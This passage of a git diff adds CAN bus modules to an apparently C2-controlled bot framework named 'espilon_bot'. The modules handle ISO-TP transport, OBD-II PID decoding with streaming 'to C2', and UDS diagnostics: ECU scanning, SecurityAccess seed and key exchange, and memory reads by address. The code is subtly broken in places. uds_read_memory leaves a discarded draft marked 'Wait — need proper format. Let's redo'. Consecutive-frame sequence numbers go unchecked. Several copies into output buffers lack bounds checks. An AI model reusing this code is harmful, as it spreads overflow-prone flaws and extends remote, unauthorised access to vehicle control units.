response */ + if (pci_type == 0x00) { + isotp_unhook_rx(); + size_t sf_len = frame.data[0] & 0x0F; + if (sf_len == 0 || sf_len > 7 || sf_len > resp_cap) return ISOTP_ERROR; + memcpy(resp, &frame.data[1], sf_len); + *resp_len = sf_len; + return ISOTP_OK; + } + + /* First Frame response */ + if (pci_type == 0x10) { + size_t total_len = ((size_t)(frame.data[0] & 0x0F) << 8) | frame.data[1]; + if (total_len > resp_cap || total_len > ISOTP_MAX_LEN) { + isotp_unhook_rx(); + return ISOTP_OVERFLOW; + } + + size_t received = (total_len < 6) ? total_len : 6; + memcpy(resp, &frame.data[2], received); + + /* Send FC */ + send_fc(tx_id, 0, 0); + + /* Receive CFs */ + uint8_t expected_seq = 1; + while (received < total_len) { + if (!wait_frame(&frame, timeout_ms)) { + isotp_unhook_rx(); + return ISOTP_TIMEOUT; + } + if ((frame.data[0] & 0xF0) != 0x20) { + isotp_unhook_rx(); + return ISOTP_ERROR; + } + expected_seq++; + + size_t chunk = total_len - received; + if (chunk > 7) chunk = 7; + memcpy(&resp[received], &frame.data[1], chunk); + received += chunk; + } + + isotp_unhook_rx(); + *resp_len = total_len; + return ISOTP_OK; + } + + isotp_unhook_rx(); + ESP_LOGW(TAG, "Unexpected PCI type 0x%02X in response", frame.data[0]); + return ISOTP_ERROR; +} + +/* ============================================================ + * Install ISO-TP RX hook into the CAN driver + * ============================================================ */ + +void isotp_install_hook(void) +{ + isotp_init_once(); + /* Save the current callback so we can chain to it */ + can_driver_get_rx_callback(&s_prev_cb, &s_prev_ctx); + can_driver_set_rx_callback(isotp_rx_callback, NULL); +} + +#endif /* CONFIG_MODULE_CANBUS && CONFIG_CANBUS_ISO_TP */ diff --git a/espilon_bot/components/mod_canbus/canbus_isotp.h b/espilon_bot/components/mod_canbus/canbus_isotp.h new file mode 100644 index 0000000..c3142c9 --- /dev/null +++ b/espilon_bot/components/mod_canbus/canbus_isotp.h @@ -0,0 +1,70 @@ +/* + * canbus_isotp.h + * ISO-TP (ISO 15765-2) transport layer for CAN bus. + * Handles multi-frame messaging (> 8 bytes) required by UDS and OBD-II. + */ +#pragma once + +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +typedef enum { + ISOTP_OK = 0, + ISOTP_TIMEOUT, + ISOTP_OVERFLOW, + ISOTP_ERROR, +} isotp_status_t; + +/* + * Send an ISO-TP message (blocking). + * Handles Single Frame for len <= 7, or First Frame + Consecutive Frames. + * Waits for Flow Control frame from receiver if multi-frame. + * + * tx_id: CAN arbitration ID for outgoing frames + * rx_id: CAN arbitration ID for incoming Flow Control + * data/len: payload to send + * timeout_ms: max wait for Flow Control response + */ +isotp_status_t isotp_send(uint32_t tx_id, uint32_t rx_id, + const uint8_t *data, size_t len, + int timeout_ms); + +/* + * Receive an ISO-TP message (blocking). + * Reassembles Single Frame or First Frame + Consecutive Frames. + * Sends Flow Control frame to sender if multi-frame. + * + * rx_id: CAN arbitration ID to listen for + * buf/buf_cap: output buffer + * out_len: actual received length + * timeout_ms: max wait time + */ +isotp_status_t isotp_recv(uint32_t rx_id, + uint8_t *buf, size_t buf_cap, size_t *out_len, + int timeout_ms); + +/* + * Request-Response: send then receive (most common UDS pattern). + * Combines isotp_send() + isotp_recv() with proper FC handling. + * + * tx_id/rx_id: CAN ID pair (e.g. 0x7E0/0x7E8 for ECU diagnostics) + */ +isotp_status_t isotp_request(uint32_t tx_id, uint32_t rx_id, + const uint8_t *req, size_t req_len, + uint8_t *resp, size_t resp_cap, size_t *resp_len, + int timeout_ms); + +/* + * Install ISO-TP RX hook into the CAN driver callback chain. + * Must be called after can_driver_set_rx_callback() so that the + * previous callback (sniff/record) is preserved in the chain. + */ +void isotp_install_hook(void); + +#ifdef __cplusplus +} +#endif diff --git a/espilon_bot/components/mod_canbus/canbus_obd.c b/espilon_bot/components/mod_canbus/canbus_obd.c new file mode 100644 index 0000000..ad99226 --- /dev/null +++ b/espilon_bot/components/mod_canbus/canbus_obd.c @@ -0,0 +1,357 @@ +/* + * canbus_obd.c + * OBD-II PID decoder with lookup table for ~40 common PIDs. + * + * Uses ISO-TP for communication (even single-frame OBD fits in SF, + * but VIN and DTC responses may require multi-frame). + */ +#include "sdkconfig.h" + +#if defined(CONFIG_MODULE_CANBUS) && defined(CONFIG_CANBUS_OBD) + +#include +#include +#include "esp_log.h" +#include "freertos/FreeRTOS.h" +#include "freertos/task.h" +#include "freertos/semphr.h" + +#include "canbus_obd.h" +#include "canbus_isotp.h" +#include "canbus_driver.h" +#include "utils.h" + +#define TAG "CAN_OBD" + +/* ============================================================ + * PID Decoder Table + * ============================================================ */ + +typedef float (*decode_fn_t)(const uint8_t *data, int len); + +typedef struct { + uint8_t pid; + const char *name; + const char *unit; + int data_bytes; /* Expected response data bytes (A, AB, ABC...) */ + decode_fn_t decode; +} pid_decoder_t; + +/* Decode functions — all check buffer length before access */ +static float decode_a(const uint8_t *d, int len) { if (len < 1) return 0.0f; return (float)d[0]; } +static float decode_a_minus_40(const uint8_t *d, int len) { if (len < 1) return 0.0f; return (float)d[0] - 40.0f; } +static float decode_a_percent(const uint8_t *d, int len) { if (len < 1) return 0.0f; return (float)d[0] * 100.0f / 255.0f; } +static float decode_ab(const uint8_t *d, int len) { if (len < 2) return 0.0f; return (float)((d[0] << 8) | d[1]); } +static float decode_ab_div_4(const uint8_t *d, int len) { if (len < 2) return 0.0f; return (float)((d[0] << 8) | d[1]) / 4.0f; } +static float decode_a_div_2_m64(const uint8_t *d, int len) { if (len < 1) return 0.0f; return (float)d[0] / 2.0f - 64.0f; } +static float decode_ab_div_100(const uint8_t *d, int len) { if (len < 2) return 0.0f; return (float)((d[0] << 8) | d[1]) / 100.0f; } +static float decode_a_x3(const uint8_t *d, int len) { if (len < 1) return 0.0f; return (float)d[0] * 3.0f; } +static float decode_ab_div_20(const uint8_t *d, int len) { if (len < 2) return 0.0f; return (float)((d[0] << 8) | d[1]) / 20.0f; } +static float decode_signed_a_minus_128(const uint8_t *d, int len) { if (len < 1) return 0.0f; return (float)d[0] - 128.0f; } + +static const pid_decoder_t s_pid_table[] = { + /* PID Name Unit Bytes Decoder */ + { 0x04, "Engine Load", "%", 1, decode_a_percent }, + { 0x05, "Coolant Temp", "C", 1, decode_a_minus_40 }, + { 0x06, "Short Fuel Trim B1", "%", 1, decode_signed_a_minus_128 }, + { 0x07, "Long Fuel Trim B1", "%", 1, decode_signed_a_minus_128 }, + { 0x0B, "Intake MAP", "kPa", 1, decode_a }, + { 0x0C, "Engine RPM", "rpm", 2, decode_ab_div_4 }, + { 0x0D, "Vehicle Speed", "km/h", 1, decode_a }, + { 0x0E, "Timing Advance", "deg", 1, decode_a_div_2_m64 }, + { 0x0F, "Intake Temp", "C", 1, decode_a_minus_40 }, + { 0x10, "MAF Rate", "g/s", 2, decode_ab_div_100 }, + { 0x11, "Throttle Position", "%", 1, decode_a_percent }, + { 0x1C, "OBD Standard", "", 1, decode_a }, + { 0x1F, "Engine Runtime", "s", 2, decode_ab }, + { 0x21, "Distance w/ MIL", "km", 2, decode_ab }, + { 0x2C, "Commanded EGR", "%", 1, decode_a_percent }, + { 0x2F, "Fuel Level", "%", 1, decode_a_percent }, + { 0x30, "Warmups since DTC clear", "", 1, decode_a }, + { 0x31, "Distance since DTC clear", "km", 2, decode_ab }, + { 0x33, "Baro Pressure", "kPa", 1, decode_a }, + { 0x42, "Control Module Voltage", "V", 2, decode_ab_div_100 }, /* Approx */ + { 0x45, "Relative Throttle", "%", 1, decode_a_percent }, + { 0x46, "Ambient Temp", "C", 1, decode_a_minus_40 }, + { 0x49, "Accelerator Position D", "%", 1, decode_a_percent }, + { 0x4A, "Accelerator Position E", "%", 1, decode_a_percent }, + { 0x4C, "Commanded Throttle", "%", 1, decode_a_percent }, + { 0x5C, "Oil Temp", "C", 1, decode_a_minus_40 }, + { 0x5E, "Fuel Rate", "L/h", 2, decode_ab_div_20 }, + { 0x67, "Coolant Temp (wide)", "C", 1, decode_a_minus_40 }, /* First byte only */ + { 0xA6, "Odometer", "km", 2, decode_ab }, /* Simplified */ +}; + +#define PID_TABLE_SIZE (sizeof(s_pid_table) / sizeof(s_pid_table[0])) + +/* Find decoder for a PID */ +static const pid_decoder_t *find_pid(uint8_t pid) +{ + for (int i = 0; i < (int)PID_TABLE_SIZE; i++) { + if (s_pid_table[i].pid == pid) return &s_pid_table[i]; + } + return NULL; +} + +/* ============================================================ + * OBD-II Communication (via ISO-TP) + * ============================================================ */ + +/* Send OBD request and receive response */ +static int obd_transact(uint8_t mode, uint8_t pid, + uint8_t *resp, size_t resp_cap, size_t *resp_len) +{ + uint8_t req[2] = { mode, pid }; + + /* Use functional broadcast (0x7DF) for Mode 01/03/09 */ + /* Listen on first responder (0x7E8) — most vehicles respond here */ + isotp_status_t st = isotp_request( + OBD_REQUEST_ID, OBD_RESPONSE_MIN, + req, 2, + resp, resp_cap, resp_len, + 2000 + ); + + return (st == ISOTP_OK) ? 0 : -1; +} + +/* ============================================================ + * Public API + * ============================================================ */ + +int obd_query_pid(uint8_t mode, uint8_t pid, obd_result_t *out) +{ + if (!out) return -1; + memset(out, 0, sizeof(*out)); + + uint8_t resp[16]; + size_t resp_len = 0; + + if (obd_transact(mode, pid, resp, sizeof(resp), &resp_len) < 0) { + return -1; + } + + /* Response: mode+0x40, PID, data bytes */ + if (resp_len < 2 || resp[0] != (mode + 0x40) || resp[1] != pid) { + return -1; + } + + out->pid = pid; + + /* Try to decode with known PID table */ + const pid_decoder_t *dec = find_pid(pid); + if (dec) { + out->name = dec->name; + out->unit = dec->unit; + int data_offset = 2; /* After mode+0x40 and PID */ + int data_avail = (int)resp_len - data_offset; + if (data_avail >= dec->data_bytes) { + out->value = dec->decode(&resp[data_offset], data_avail); + } + } else { + out->name = "Unknown"; + out->unit = ""; + out->value = (resp_len > 2) ? (float)resp[2] : 0; + } + + return 0; +} + +int obd_query_supported(uint8_t pids_out[], int max_pids) +{ + int total = 0; + uint8_t resp[16]; + size_t resp_len = 0; + + /* PID 00: supported PIDs 01-20 */ + /* PID 20: supported PIDs 21-40 */ + /* PID 40: supported PIDs 41-60 */ + /* PID 60: supported PIDs 61-80 */ + + uint8_t range_pids[] = { 0x00, 0x20, 0x40, 0x60 }; + + for (int r = 0; r < 4; r++) { + if (obd_transact(0x01, range_pids[r], resp, sizeof(resp), &resp_len) < 0) { + break; + } + + if (resp_len < 6 || resp[0] != 0x41 || resp[1] != range_pids[r]) { + break; + } + + /* 4 bytes = 32 bits, each bit = supported PID */ + uint32_t bitmap = ((uint32_t)resp[2] << 24) + | ((uint32_t)resp[3] << 16) + | ((uint32_t)resp[4] << 8) + | (uint32_t)resp[5]; + + for (int bit = 0; bit < 32 && total < max_pids; bit++) { + if (bitmap & (1U << (31 - bit))) { + pids_out[total++] = range_pids[r] + bit + 1; + } + } + + /* If last PID in range is not supported, no point checking next range */ + if (!(bitmap & 0x01)) break; + } + + return total; +} + +int obd_read_vin(char *vin_out, size_t cap) +{ + if (!vin_out || cap < 18) return -1; + + uint8_t req[2] = { 0x09, 0x02 }; /* Mode 09, PID 02 = VIN */ + uint8_t resp[64]; + size_t resp_len = 0; + + isotp_status_t st = isotp_request( + OBD_REQUEST_ID, OBD_RESPONSE_MIN, + req, 2, + resp, sizeof(resp), &resp_len, + 3000 + ); + + if (st != ISOTP_OK) return -1; + + /* Response: 0x49, 0x02, count, VIN (17 ASCII chars) */ + if (resp_len < 20 || resp[0] != 0x49 || resp[1] != 0x02) { + return -1; + } + + /* VIN starts at offset 3 (after 0x49, 0x02, count) */ + int vin_start = 3; + int vin_len = (int)resp_len - vin_start; + if (vin_len > 17) vin_len = 17; + if (vin_len > (int)cap - 1) vin_len = (int)cap - 1; + + memcpy(vin_out, &resp[vin_start], vin_len); + vin_out[vin_len] = '\0'; + + return 0; +} + +int obd_read_dtcs(char *dtc_buf, size_t cap) +{ + uint8_t req[1] = { 0x03 }; /* Mode 03: Request DTCs */ + uint8_t resp[128]; + size_t resp_len = 0; + + isotp_status_t st = isotp_request( + OBD_REQUEST_ID, OBD_RESPONSE_MIN, + req, 1, + resp, sizeof(resp), &resp_len, + 3000 + ); + + if (st != ISOTP_OK || resp_len < 1 || resp[0] != 0x43) { + snprintf(dtc_buf, cap, "No DTCs or read error"); + return -1; + } + + int num_dtcs = resp[1]; /* Number of DTCs */ + if (num_dtcs == 0) { + snprintf(dtc_buf, cap, "No DTCs stored"); + return 0; + } + + int off = 0; + off += snprintf(dtc_buf + off, cap - off, "DTCs (%d): ", num_dtcs); + + /* Each DTC is 2 bytes, starting at offset 2 */ + static const char dtc_prefixes[] = { 'P', 'C', 'B', 'U' }; + + for (int i = 0; i < num_dtcs && (2 + i * 2 + 1) < (int)resp_len; i++) { + uint16_t raw = (resp[2 + i * 2] << 8) | resp[2 + i * 2 + 1]; + + char prefix = dtc_prefixes[(raw >> 14) & 0x03]; + int code = raw & 0x3FFF; + + off += snprintf(dtc_buf + off, cap - off, "%c%04X ", prefix, code); + if (off >= (int)cap - 8) break; + } + + return off; +} + +/* ============================================================ + * Continuous Monitoring + * ============================================================ */ + +static volatile bool s_monitor_running = false; +static TaskHandle_t s_monitor_task = NULL; +static uint8_t s_monitor_pids[16]; +static int s_monitor_pid_count = 0; +static int s_monitor_interval = 1000; +static const char *s_monitor_req_id = NULL; +static SemaphoreHandle_t s_mon_mutex = NULL; + +static void monitor_task(void *arg) +{ + (void)arg; + ESP_LOGI(TAG, "OBD monitor started: %d PIDs, %d ms interval", + s_monitor_pid_count, s_monitor_interval); + + while (s_monitor_running) { + for (int i = 0; i < s_monitor_pid_count && s_monitor_running; i++) { + obd_result_t result; + if (obd_query_pid(0x01, s_monitor_pids[i], &result) == 0) { + char line[96]; + snprintf(line, sizeof(line), "OBD|%s|%.1f|%s", + result.name, result.value, result.unit); + msg_data(TAG, line, strlen(line), false, s_monitor_req_id); + } + } + vTaskDelay(pdMS_TO_TICKS(s_monitor_interval)); + } + + ESP_LOGI(TAG, "OBD monitor stopped"); + s_monitor_task = NULL; + vTaskDelete(NULL); +} + +void obd_monitor_start(const uint8_t *pids, int pid_count, + int interval_ms, const char *request_id) +{ + if (!s_mon_mutex) s_mon_mutex = xSemaphoreCreateMutex(); + xSemaphoreTake(s_mon_mutex, portMAX_DELAY); + + if (s_monitor_running) { + xSemaphoreGive(s_mon_mutex); + obd_monitor_stop(); + xSemaphoreTake(s_mon_mutex, portMAX_DELAY); + } + + if (pid_count > 16) pid_count = 16; + memcpy(s_monitor_pids, pids, pid_count); + s_monitor_pid_count = pid_count; + s_monitor_interval = (interval_ms > 0) ? interval_ms : 1000; + s_monitor_req_id = request_id; + s_monitor_running = true; + + xTaskCreatePinnedToCore( + monitor_task, "obd_mon", 4096, NULL, 3, &s_monitor_task, 1 + ); + + xSemaphoreGive(s_mon_mutex); +} + +void obd_monitor_stop(void) +{ + if (!s_mon_mutex) s_mon_mutex = xSemaphoreCreateMutex(); + xSemaphoreTake(s_mon_mutex, portMAX_DELAY); + s_monitor_running = false; + xSemaphoreGive(s_mon_mutex); + + for (int i = 0; i < 20 && s_monitor_task != NULL; i++) { + vTaskDelay(pdMS_TO_TICKS(50)); + } +} + +bool obd_monitor_is_running(void) +{ + return s_monitor_running; +} + +#endif /* CONFIG_MODULE_CANBUS && CONFIG_CANBUS_OBD */ diff --git a/espilon_bot/components/mod_canbus/canbus_obd.h b/espilon_bot/components/mod_canbus/canbus_obd.h new file mode 100644 index 0000000..c3ccb2a --- /dev/null +++ b/espilon_bot/components/mod_canbus/canbus_obd.h @@ -0,0 +1,48 @@ +/* + * canbus_obd.h + * OBD-II (ISO 15031) PID decoder over ISO-TP. + */ +#pragma once + +#include +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* Standard OBD-II CAN IDs */ +#define OBD_REQUEST_ID 0x7DF /* Broadcast functional request */ +#define OBD_RESPONSE_MIN 0x7E8 +#define OBD_RESPONSE_MAX 0x7EF + +/* Decoded PID result */ +typedef struct { + uint8_t pid; + float value; + const char *unit; /* "rpm", "km/h", "C", etc. */ + const char *name; /* "Engine RPM", "Vehicle Speed", etc. */ +} obd_result_t; + +/* Query a single PID (Mode 01). Returns 0 on success, -1 on error. */ +int obd_query_pid(uint8_t mode, uint8_t pid, obd_result_t *out); + +/* Query supported PIDs (Mode 01, PID 00/20/40/60). Returns count. */ +int obd_query_supported(uint8_t pids_out[], int max_pids); + +/* Read Vehicle Identification Number (Mode 09, PID 02). Returns 0 or -1. */ +int obd_read_vin(char *vin_out, size_t cap); + +/* Read Diagnostic Trouble Codes (Mode 03). Returns formatted string length. */ +int obd_read_dtcs(char *dtc_buf, size_t cap); + +/* Continuous monitoring: stream PIDs to C2 at interval */ +void obd_monitor_start(const uint8_t *pids, int pid_count, + int interval_ms, const char *request_id); +void obd_monitor_stop(void); +bool obd_monitor_is_running(void); + +#ifdef __cplusplus +} +#endif diff --git a/espilon_bot/components/mod_canbus/canbus_uds.c b/espilon_bot/components/mod_canbus/canbus_uds.c new file mode 100644 index 0000000..6d176ec --- /dev/null +++ b/espilon_bot/components/mod_canbus/canbus_uds.c @@ -0,0 +1,343 @@ +/* + * canbus_uds.c + * UDS (ISO 14229) diagnostic services implementation. + * + * Each function builds a UDS payload, sends via ISO-TP, + * parses the response (positive = SID+0x40, negative = 0x7F+SID+NRC). + * Handles NRC 0x78 (ResponsePending) with extended timeout. + */ +#include "sdkconfig.h" + +#if defined(CONFIG_MODULE_CANBUS) && defined(CONFIG_CANBUS_UDS) + +#include +#include "esp_log.h" +#include "freertos/FreeRTOS.h" +#include "freertos/task.h" + +#include "canbus_uds.h" +#include "canbus_isotp.h" +#include "canbus_driver.h" +#include "utils.h" + +#define TAG "CAN_UDS" + +/* Max retries for ResponsePending (NRC 0x78) */ +#define MAX_PENDING_RETRIES 10 +#define PENDING_TIMEOUT_MS 5000 + +/* ============================================================ + * Internal: UDS request with ResponsePending handling + * ============================================================ */ + +static int uds_transact(uds_ctx_t *ctx, + const uint8_t *req, size_t req_len, + uint8_t *resp, size_t resp_cap, size_t *resp_len) +{ + int timeout = ctx->timeout_ms > 0 ? ctx->timeout_ms : 2000; + + for (int retry = 0; retry <= MAX_PENDING_RETRIES; retry++) { + int t = (retry == 0) ? timeout : PENDING_TIMEOUT_MS; + + isotp_status_t st = isotp_request( + ctx->tx_id, ctx->rx_id, + req, req_len, + resp, resp_cap, resp_len, + t + ); + + if (st == ISOTP_TIMEOUT) { + if (retry > 0) { + ESP_LOGW(TAG, "ResponsePending timeout after %d retries", retry); + } + return -1; + } + if (st != ISOTP_OK) return -1; + + /* Check for Negative Response */ + if (*resp_len >= 3 && resp[0] == 0x7F) { + uint8_t nrc = resp[2]; + + /* ResponsePending — ECU needs more time */ + if (nrc == UDS_NRC_RESPONSE_PENDING) { + ESP_LOGI(TAG, "ResponsePending from 0x%03lX (retry %d/%d)", + (unsigned long)ctx->rx_id, retry + 1, MAX_PENDING_RETRIES); + /* Re-listen for the real response (no re-send needed) */ + *resp_len = 0; + isotp_status_t st2 = isotp_recv( + ctx->rx_id, resp, resp_cap, resp_len, PENDING_TIMEOUT_MS + ); + if (st2 == ISOTP_TIMEOUT) continue; /* Try again */ + if (st2 != ISOTP_OK) return -1; + + /* Check if we got another NRC 0x78 or the real response */ + if (*resp_len >= 3 && resp[0] == 0x7F && resp[2] == UDS_NRC_RESPONSE_PENDING) { + continue; /* Still pending */ + } + /* Got the real response, fall through to return */ + } + + /* Other negative responses */ + if (resp[0] == 0x7F && resp[2] != UDS_NRC_RESPONSE_PENDING) { + ESP_LOGW(TAG, "NRC 0x%02X (%s) for SID 0x%02X from 0x%03lX", + resp[2], uds_nrc_name(resp[2]), resp[1], + (unsigned long)ctx->rx_id); + return -1; + } + } + + /* Positive response or parsed NRC */ + return (int)*resp_len; + } + + return -1; +} + +/* ============================================================ + * Public API + * ============================================================ */ + +int uds_diagnostic_session(uds_ctx_t *ctx, uint8_t session_type) +{ + uint8_t req[2] = { UDS_DIAG_SESSION_CTRL, session_type }; + uint8_t resp[64]; + size_t resp_len = 0; + + int ret = uds_transact(ctx, req, 2, resp, sizeof(resp), &resp_len); + if (ret < 0) return -1; + + /* Positive response: 0x50 + session type */ + if (resp_len >= 2 && resp[0] == (UDS_DIAG_SESSION_CTRL + 0x40)) { + ctx->session = session_type; + return 0; + } + return -1; +} + +int uds_tester_present(uds_ctx_t *ctx) +{ + uint8_t req[2] = { UDS_TESTER_PRESENT, 0x00 }; /* subFunction = 0 */ + uint8_t resp[16]; + size_t resp_len = 0; + + int ret = uds_transact(ctx, req, 2, resp, sizeof(resp), &resp_len); + if (ret < 0) return -1; + + if (resp_len >= 2 && resp[0] == (UDS_TESTER_PRESENT + 0x40)) { + return 0; + } + return -1; +} + +int uds_read_data_by_id(uds_ctx_t *ctx, uint16_t did, + uint8_t *out, size_t cap) +{ + uint8_t req[3] = { + UDS_READ_DATA_BY_ID, + (uint8_t)(did >> 8), + (uint8_t)(did & 0xFF), + }; + uint8_t resp[512]; + size_t resp_len = 0; + + int ret = uds_transact(ctx, req, 3, resp, sizeof(resp), &resp_len); + if (ret < 0) return -1; + + /* Positive: 0x62 + DID (2 bytes) + data */ + if (resp_len >= 3 && resp[0] == (UDS_READ_DATA_BY_ID + 0x40)) { + size_t data_len = resp_len - 3; + if (data_len > cap) data_len = cap; + memcpy(out, &resp[3], data_len); + return (int)data_len; + } + return -1; +} + +int uds_security_access_seed(uds_ctx_t *ctx, uint8_t level, + uint8_t *seed, size_t *seed_len) +{ + /* Seed request: odd subFunction (level = 0x01, 0x03, ...) */ + uint8_t req[2] = { UDS_SECURITY_ACCESS, level }; + uint8_t resp[64]; + size_t resp_len = 0; + + int ret = uds_transact(ctx, req, 2, resp, sizeof(resp), &resp_len); + if (ret < 0) return -1; + + /* Positive: 0x67 + level + seed bytes */ + if (resp_len >= 2 && resp[0] == (UDS_SECURITY_ACCESS + 0x40)) { + size_t slen = resp_len - 2; + if (seed && seed_len) { + memcpy(seed, &resp[2], slen); + *seed_len = slen; + } + return 0; + } + return -1; +} + +int uds_security_access_key(uds_ctx_t *ctx, uint8_t level, + const uint8_t *key, size_t key_len) +{ + /* Key send: even subFunction (level+1 = 0x02, 0x04, ...) */ + uint8_t req[34] = { UDS_SECURITY_ACCESS, (uint8_t)(level + 1) }; + if (key_len > 32) return -1; + memcpy(&req[2], key, key_len); + + uint8_t resp[16]; + size_t resp_len = 0; + + int ret = uds_transact(ctx, req, 2 + key_len, resp, sizeof(resp), &resp_len); + if (ret < 0) return -1; + + if (resp_len >= 2 && resp[0] == (UDS_SECURITY_ACCESS + 0x40)) { + ctx->security_unlocked = true; + return 0; + } + return -1; +} + +int uds_read_memory(uds_ctx_t *ctx, uint32_t addr, uint16_t size, + uint8_t *out) +{ + /* addressAndLengthFormatIdentifier: 0x24 = 2 bytes size, 4 bytes addr */ + uint8_t req[7] = { + UDS_READ_MEM_BY_ADDR, + 0x24, /* format: 2+4 */ + (uint8_t)(addr >> 24), + (uint8_t)(addr >> 16), + (uint8_t)(addr >> 8), + (uint8_t)(addr), + (uint8_t)(size >> 8), + }; + /* Append size low byte */ + uint8_t req_full[8]; + memcpy(req_full, req, 7); + req_full[7] = (uint8_t)(size & 0xFF); + + /* Wait — need proper format. Let's redo: + * SID(1) + addressAndLengthFormatId(1) + memAddr(4) + memSize(2) = 8 bytes */ + uint8_t request[8] = { + UDS_READ_MEM_BY_ADDR, + 0x24, + (uint8_t)(addr >> 24), + (uint8_t)(addr >> 16), + (uint8_t)(addr >> 8), + (uint8_t)(addr), + (uint8_t)(size >> 8), + (uint8_t)(size), + }; + + uint8_t resp[512]; + size_t resp_len = 0; + + int ret = uds_transact(ctx, request, 8, resp, sizeof(resp), &resp_len); + if (ret < 0) return -1; + + /* Positive: 0x63 + data */ + if (resp_len >= 1 && resp[0] == (UDS_READ_MEM_BY_ADDR + 0x40)) { + size_t data_len = resp_len - 1; + if (out) memcpy(out, &resp[1], data_len); + return (int)data_len; + } + return -1; +} + +int uds_raw_request(uds_ctx_t *ctx, + const uint8_t *req, size_t req_len, + uint8_t *resp, size_t resp_cap, size_t *resp_len) +{ + return uds_transact(ctx, req, req_len, resp, resp_cap, resp_len); +} + +/* ============================================================ + * ECU Discovery + * ============================================================ */ + +int uds_scan_ecus(uint32_t *found_ids, int max_ecus) +{ + int found = 0; + + /* Standard UDS range: 0x7E0-0x7E7 (physical addressing) */ + for (uint32_t tx = 0x7E0; tx <= 0x7E7 && found < max_ecus; tx++) { + uint32_t rx = tx + 0x08; /* Response IDs: 0x7E8-0x7EF */ + + uds_ctx_t ctx = { + .tx_id = tx, + .rx_id = rx, + .timeout_ms = 200, /* Short timeout for scan */ + .session = UDS_SESSION_DEFAULT, + .security_unlocked = false, + }; + + if (uds_tester_present(&ctx) == 0) { + ESP_LOGI(TAG, "ECU found: TX=0x%03lX RX=0x%03lX", + (unsigned long)tx, (unsigned long)rx); + found_ids[found++] = tx; + } + } + + /* Extended range: 0x700-0x7DF */ + for (uint32_t tx = 0x700; tx <= 0x7DF && found < max_ecus; tx++) { + /* Skip standard range (already scanned) */ + if (tx >= 0x7E0) break; + + uint32_t rx = tx + 0x08; + + uds_ctx_t ctx = { + .tx_id = tx, + .rx_id = rx, + .timeout_ms = 100, + .session = UDS_SESSION_DEFAULT, + .security_unlocked = false, + }; + + if (uds_tester_present(&ctx) == 0) { + ESP_LOGI(TAG, "ECU found: TX=0x%03lX RX=0x%03lX", + (unsigned long)tx, (unsigned long)rx); + found_ids[found++] = tx; + } + + /* Yield every 16 IDs to avoid watchdog */ + if ((tx & 0x0F) == 0x0F) { + vTaskDelay(pdMS_TO_TICKS(1)); + } + } + + return found; +} + +/* ============================================================ + * NRC Name Lookup + * ============================================================ */ + +const char *uds_nrc_name(uint8_t nrc) +{ + switch (nrc) { + case 0x10: return "generalReject"; + case 0x11: return "serviceNotSupported"; + case 0x12: return "subFunctionNotSupported"; + case 0x13: return "incorrectMessageLength"; + case 0x14: return "responseTooLong"; + case 0x21: return "busyRepeatRequest"; + case 0x22: return "conditionsNotCorrect"; + case 0x24: return "requestSequenceError"; + case 0x25: return "noResponseFromSubnet"; + case 0x26: return "failurePreventsExecution"; + case 0x31: return "requestOutOfRange"; + case 0x33: return "securityAccessDenied"; + case 0x35: return "invalidKey"; + case 0x36: return "exceededNumberOfAttempts"; + case 0x37: return "requiredTimeDelayNotExpired"; + case 0x70: return "uploadDownloadNotAccepted"; + case 0x71: return "transferDataSuspended"; + case 0x72: return "generalProgrammingFailure"; + case 0x73: return "wrongBlockSequenceCounter"; + case 0x78: return "responsePending"; + case 0x7E: return "subFunctionNotSupportedInActiveSession"; + case 0x7F: return "serviceNotSupportedInActiveSession"; + default: return "unknown"; + } +} + +#endif /* CONFIG_MODULE_CANBUS && CONFIG_CANBUS_UDS */ diff --git a/espilon_bot/components/mod_canbus/canbus_uds.h b/espilon_bot/components/mod_canbus/canbus_uds.h new file mode 100644 index 0000000..8e33b95 --- /dev/null +++ b/espilon_bot/components/mod_canbus/canbus_uds.h @@ -0,0 +1,101 @@ +/* + * canbus_uds.h + * UDS (ISO 14229) diagnostic services over ISO-TP. + */ +#pragma once + +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* ============================================================ + * UDS Service IDs + * ============================================================ */ +#define UDS_DIAG_SESSION_CTRL 0x10 +#define UDS_ECU_RESET 0x11 +#define UDS_CLEAR_DTC 0x14 +#define UDS_READ_DTC_INFO 0x19 +#define UDS_READ_DATA_BY_ID 0x22 +#define UDS_READ_MEM_BY_ADDR 0x23 +#define UDS_SECURITY_ACCESS 0x27 +#define UDS_COMM_CTRL 0x28 +#define UDS_WRITE_DATA_BY_ID 0x2E +#define UDS_IO_CTRL 0x2F +#define UDS_ROUTINE_CTRL 0x31 +#define UDS_REQUEST_DOWNLOAD 0x34 +#define UDS_REQUEST_UPLOAD 0x35 +#define UDS_TRANSFER_DATA 0x36 +#define UDS_TRANSFER_EXIT 0x37 +#define UDS_TESTER_PRESENT 0x3E + +/* Session types */ +#define UDS_SESSION_DEFAULT 0x01 +#define UDS_SESSION_PROGRAMMING 0x02 +#define UDS_SESSION_EXTENDED 0x03 + +/* Negative Response Codes */ +#define UDS_NRC_GENERAL_REJECT 0x10 +#define UDS_NRC_SERVICE_NOT_SUPPORTED 0x11 +#define UDS_NRC_SUBFUNCTION_NOT_SUPPORTED 0x12 +#define UDS_NRC_INCORRECT_LENGTH 0x13 +#define UDS_NRC_RESPONSE_PENDING 0x78 +#define UDS_NRC_SECURITY_ACCESS_DENIED 0x33 +#define UDS_NRC_INVALID_KEY 0x35 +#define UDS_NRC_EXCEEDED_ATTEMPTS 0x36 +#define UDS_NRC_CONDITIONS_NOT_MET 0x22 + +/* ============================================================ + * UDS Context + * ============================================================ */ + +typedef struct { + uint32_t tx_id; /* Request CAN ID (e.g. 0x7E0) */ + uint32_t rx_id; /* Response CAN ID (e.g. 0x7E8) */ + int timeout_ms; /* Response timeout */ + uint8_t session; /* Current session type */ + bool security_unlocked; +} uds_ctx_t; + +/* ============================================================ + * High-Level UDS API + * ============================================================ */ + +/* DiagnosticSessionControl (0x10) */ +int uds_diagnostic_session(uds_ctx_t *ctx, uint8_t session_type); + +/* TesterPresent (0x3E) — keep-alive */ +int uds_tester_present(uds_ctx_t *ctx); + +/* ReadDataByIdentifier (0x22) — returns data length or -1 */ +int uds_read_data_by_id(uds_ctx_t *ctx, uint16_t did, + uint8_t *out, size_t cap); + +/* SecurityAccess (0x27) — request seed */ +int uds_security_access_seed(uds_ctx_t *ctx, uint8_t level, + uint8_t *seed, size_t *seed_len); + +/* SecurityAccess (0x27) — send key */ 